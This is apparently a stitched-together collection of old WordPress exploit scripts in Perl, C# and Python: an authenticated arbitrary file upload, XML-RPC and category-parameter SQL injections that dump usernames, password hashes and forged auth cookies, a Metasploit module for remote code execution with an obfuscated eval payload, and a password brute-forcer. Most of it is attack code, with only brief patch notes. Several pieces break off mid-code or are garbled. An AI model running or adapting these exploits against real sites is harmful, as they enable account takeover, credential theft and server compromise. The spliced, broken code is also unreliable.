#! /usr/bin/env perl

# Wordpress 2.2 and Wordpress MU <= 1.2.2 Arbitrary File Upload PoC
#
# Credits : Alexander Concha
# Website : http://www.buayacorp.com/
# Advisory: http://www.buayacorp.com/files/wordpress/wordpress-advisory.html

use Digest::MD5 qw(md5_hex);
use LWP::UserAgent;

my $ua = new LWP::UserAgent;
my $blog = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];
my $remote_file = $ARGV[3];
my $local_file = $ARGV[4];
my $post_id = $ARGV[5];

if (@ARGV < 4) {
print "\nUsage:\n";
print " wp-file-upload.pl [local_file] [post_id]\n\n";
print " - full path to WordPress. http://victim.com/wordpress/ \n";
print " - valid username with any of these roles: author, editor, administrator\n";
print " - valid password for the user\n";
print " - full path to the remote file. /home/vulnerable.com/wordpress/wp-content/uploads/foo.php\n";
print " [local_file] - file to upload\n";
print " [post_id] - every time this script is executed creates a new post, specify a post_ID if you already run it\n\n";
exit();
}
$ua->requests_redirectable([]);
$blog =~ s/\/*$/\//;

$url = 'wp-app.php';
if ( 200 != $ua->head($url . '?action=/service')->code ) {
$url = 'app.php';
die "\nIt seems that this WP installation is not vulnerable: app.php and wp-app.php were not found.\n"
unless 200 == $ua->head($url . '?action=/service')->code;
}

$auth_cookie = get_auth_cookie();

sub LWP::UserAgent::simple_request {
my($self, $request, $arg, $size) = @_;
$request->header('Cookie' => $auth_cookie);
$request->content_type('image/gif') if $request->method eq "PUT";
$request->uri($blog . $request->uri);

$self->_request_sanity_check($request);
my $new_request = $self->prepare_request($request);
$response = $self->send_request($new_request, $arg, $size);

print $request->method . " " . $request->uri . " " . $response->code . "\n";

return $response;
}

sub get_contents {
$file = shift;
if ( -e $file ) {
open FILE, $file or die("Invalid local file");
$file = join('', );
close FILE;
} else {
$file = <
PHP
}
return $file;
}
sub get_auth_cookie {
$response = $ua->head('wp-login.php?logout');
if ( $response->headers->header('Set-Cookie') =~ m/wordpress(user|pass)(.*?)=/ ) {
return "wordpressuser$2=$user;wordpresspass$2=".md5_hex(md5_hex($pass));
}
return '';
}
if (0 == $post_id) {
$response = $ua->get('wp-admin/post-new.php');
die ("\nInvalid credentials or blog url.\n\n" . $response->as_string) unless 200 == $response->code;

if ( $response->content =~ m/name=._wpnonce. value=.([a-z\d]{10})./ ) {
$response = $ua->post('wp-admin/post.php', [
'_wpnonce' => $1,
'action' => 'post',
'post_ID' => $post_id,
'post_type' => 'post',
'post_title' => 'foo',
'metakeyselect' => '#NONE#',
'metakeyinput' => '_wp_attached_file',
'metavalue' => $remote_file
], 'Cookie' => $auth_cookie);

# Checks for post-new.php?posted=post_ID
if ( $response->headers->header('Location') =~ m/posted=(\d+)/ ) {
$post_id = $1;
}
}
}
die "\nCould not get a valid post_id value.\n" unless 0 != $post_id;

$request = HTTP::Request->new(PUT => $url . '?action=/attachment/file/'.$post_id);
$request->content(get_contents($local_file));
$response = $ua->request($request);

if ( 200 == $response->code ) {
print "\nIt seems that the file has been posted successfully... :P\n";
print "Use the following value to update the remote file: post_id '$post_id'\n";
} else {
print "\nError: there is no attachment metadata for post_id=$post_id\n\n" . $response->as_string() . "\n";
}

/*
El error, bastante tonto por cierto, se encuentra en la función wp_suggestCategories, en el archivo xmlrpc.php:

function wp_suggestCategories($args) {
global $wpdb;

$this->escape($args);

$blog_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$category = $args[3];
$max_results = $args[4];

if(!$this->login_pass_ok($username, $password)) {
return($this->error);
}

// Only set a limit if one was provided.
$limit = "";
if(!empty($max_results)) {
$limit = "LIMIT {$max_results}";
}

$category_suggestions = $wpdb->get_results("
SELECT cat_ID category_id,
cat_name category_name
FROM {$wpdb->categories}
WHERE cat_name LIKE '{$category}%'
{$limit}
");

return($category_suggestions);
}

Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.

Preparé un pequeño exploit (Creditos: Alex) que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.

Credits: Alex de la Concha

code c sharp:
*/

using System;
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

class Program
{
static void Main(string[] args)
{
string targetUrl = "http://localhost/wp/";
string login = "alex";
string password = "1234";

string data = @"
wp.suggestCategories

1
{0}
{1}
1
0 UNION ALL SELECT user_login, user_pass FROM {2}users

";

string cookieHash = GetCookieHash(targetUrl);

using (WebClient request = new WebClient())
{
/* Probar con el prefijo por omisión */
string response = request.UploadString(targetUrl + "xmlrpc.php",
string.Format(data, login, password, "wp_svn_"));

/* Se hace una nueva petición si la consulta anterior falla */
Match match = Regex.Match(response, @"FROM\s+(.*?)categories\s+");
if (match.Success)
{
response = request.UploadString(targetUrl + "xmlrpc.php ",
string.Format(data, login, password, match.Groups[1].Value));
}

try
{
XmlDocument doc = new XmlDocument();
doc.LoadXml(response);

XmlNodeList nodes = doc.SelectNodes("//struct/member/value");

if (nodes != null && doc.SelectSingleNode("/methodResponse/fault") == null)
{
string user, pass;
/* Mostrar lista de:
* Usuario md5(contraseña)
* Cookie de Autenticación
*
*/
for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
{
user = nodes.Item(i).InnerText;
pass = nodes.Item(i + 1).InnerText;
Console.WriteLine("Usuario: {0}\tMD5(Contraseña): {1}",
user,
pass);
Console.WriteLine("Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n",
cookieHash,
user,
MD5(pass));
}
}
else
{
Console.WriteLine("Error:\n{0}", response);
}
}
catch (Exception ex)
{
Console.WriteLine("Error:\n" + ex.ToString());
}
}
}

private static string GetCookieHash(string targetUrl)
{
WebRequest request = WebRequest.Create(targetUrl + "wp-login.php?action=logout");
request.Method = "HEAD";
(request as HttpWebRequest).AllowAutoRedirect = false;

WebResponse response = request.GetResponse();
if (response != null)
{
Match match = Regex.Match(response.Headers["Set-Cookie"],
@"wordpress[a-z]+_([a-z\d]{32})",
RegexOptions.IgnoreCase);

if (match.Success)
return match.Groups[1].Value;
}
return string.Empty;
}
public static string MD5(string password)
{
MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
byte[] bs = Encoding.UTF8.GetBytes(password);
bs = x.ComputeHash(bs);
StringBuilder s = new StringBuilder();
foreach (byte b in bs)
{
s.Append(b.ToString("x2").ToLower());
}
return s.ToString();
}
}
/*
Para corregir este problema, mientras liberan actualizaciones para Wordpress 2.2, es editar el archivo xmlrpc.php y cambiar la línea $max_results = $args[4]; de la función wp_suggestCategories por $max_results = (int) $args[4]; o en su defecto bloquear el acceso a xmlrpc.php.

o malo esque tienes que tener una cuenta aunque sea con los minimos permisos para obtener los demas nombres de users con sus respectivos MD5.

static void Main(string[] args)
{
string targetUrl = "http://localhost/wp/";
string login = "alex";
string password = "1234";

hay seria la ruta donde esta colocado el wordpress 2.2, tu nombre de usuario y tu password.
Ya se creo un zip con los archivos vulnerables ya reparados [ xmlrpc.php, wp-admin/post-new.php, wp-admin/page-new.php , wp-admin/users-edit.php. ]

:: [Slappter] ::
*/

#!/usr/bin/perl -w

#Wordpress 2.1.2 SQL Injection POC
#Credits: sid@notsosecure.com
#Thanks to ferruh (ferruh@mavituna.com)for improving my exploitation skills
#website:www.notsosecure.com

#Wordpress version 2.1.2 is vulnerable to sql injection. This POC works when exploting with the credentials of a valid user. The user can belong to 'contributor' role or any higher role. Versions before 2.1.2 have not been tested but are most likely to be vulnerable as well.

#Example:---------------------------------------------------------------------------------------
#C:\wp-xmlrpc-2-2-sql.pl" http://192.168.2.4/apache2-default/wordpress/ author author 5
#
# The usage is correct
#

##
# Title: Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit)
# Name: php_wordpress.pm
# License: Artistic/BSD/GPL
# Info: I lub metasploit yummmm (str0ke ! milw0rm.com).
#
# Recoded Kartoffelguru's php code for metasploit. I love cookies. /str0ke
#
#
#
# - This is an exploit module for the Metasploit Framework, please see
# http://metasploit.com/projects/Framework for more information.
#
##

package Msf::Exploit::php_wordpress;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
'Name' => 'Wordpress <= 1.5.1.3 Remote Code Execution eXploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'str0ke' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path WordPress root directory', '/'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a code execution exploit in wordpress blog <= 1.5.1.3.
}),

'Refs' =>
[
['MIL', '1142'],
],

'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd', 'cmd_bash'],
},

'Keys' => ['wordpress'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

my $encoded = Pex::Text::Base64Encode("passthru(\"$cmd\");");
$encoded =~ s/\n//gm;

my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $encoded));

$byte.=".chr(32)";

my $str = Pex::Text::Base64Encode('args[0]=eval(base64_decode('.$byte.')).die()&args[1]=x');

$str =~ s/\n//gm;

my $data = "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;".
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;".
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=$str".
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;".
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;".
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;";

my $req =
"GET $path HTTP/1.0\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n".
"Host: $vhost:$target_port\r\n".
"Pragma: no-cache\r\n".
"Accept: */*\r\n".
"Cookie: $data\r\n".
"\r\n";

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),

);

if ($s->IsError){
$self->PrintLine('

#!/usr/bin/perl -w
#
# SQL Injection Exploit for WordPress <= 1.5.1.1
# This exploit shows the username of the administrator of the blog and his
# password crypted in MD5, you must only choose the correct version of the target
# Related advisory: http://www.gentoo.org/security/en/glsa/glsa-200506-04.xml
# Patch: download the last version at http://wordpress.org/download/
# Coded by Alberto Trivero

use LWP::Simple;

print "\n\t====================================\n";
print "\t= Exploit for WordPress <= 1.5.1.1 =\n";
print "\t= by Alberto Trivero =\n";
print "\t====================================\n\n";

if(!$ARGV[0] or !($ARGV[0]=~m/http/) or !($ARGV[1]==1 or $ARGV[1]==2)) {
print "Usage:\nperl $0 [full_target_path] [target_version: 1 OR 2]\nVersion 1: WordPress <= 1.5\nVersion 2: WordPress 1.5.1 - 1.5.1.1\n\n";
print "Examples:\nperl $0 http://www.example.com/wordpress/ 2\n";
exit(0);
}

$page=get($ARGV[0]."index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==1);
$page=get($ARGV[0]."index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==2);
print "[+] Connected to: $ARGV[0]\n";
$page=~m/:([a-f0-9]{32}):(.*?):/;
print "[+] Username of administrator is: $2\n" if($2);
print "[+] MD5 hash of password is: $1\n" if($1);
print "[-] Unable to retrieve username\n" if(!$2);
print "[-] Unable to retrieve hash of password\n" if(!$1);

############## Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox (at) gmail (dot) com [email concealed] / #kadaj-diabolik (at) hotmail (dot) fr [email concealed])
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [ i for i in tab ]
def node( table, parent, size ):
if size == 0:
pass
else:
for c in table:
string = "%s%s"%( parent, c )
data = {'log': sys.argv[2],
'pwd': string}
print "[+] Testing : "+string
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password." in f: print "[!] Password is : "+mot ; break
node( table, string, size-1 )

def bruteforce( table, size ):
for c in table:
node( table, c, size-1 )

if (len(sys.argv) < 3):
print "Usage : float.py "
print "\nDefault: User is 'admin'"
print "Choice : 1} Dictionnary Attack, use dictionnary file"
print " 2} Bruteforce Attack, use number of character for password"

else:
server = sys.argv[1]
if sys.argv[3] == "1":
a , b = open(sys.argv[4],'r') , 0
for lines in a: b = b + 1
a.seek(0)
c = 0
while (c < b):
mot = a.readline().rstrip()
data = {'log': sys.argv[2],
'pwd': mot}
print "[+] Testing : "+mot
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password." in f: print "[!] Password is : "+mot ; break
else: c = c + 1 ; pass
if sys.argv[3] == "2":
print "[-] Server is : "+server
print "[-] User is : "+sys.argv[2]
print "[-] Number of characters are : "+sys.argv[4]
number = int(sys.argv[4])
bruteforce( tab, number )
############## Source code #####################

The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests).

To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else).

if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password

Kad'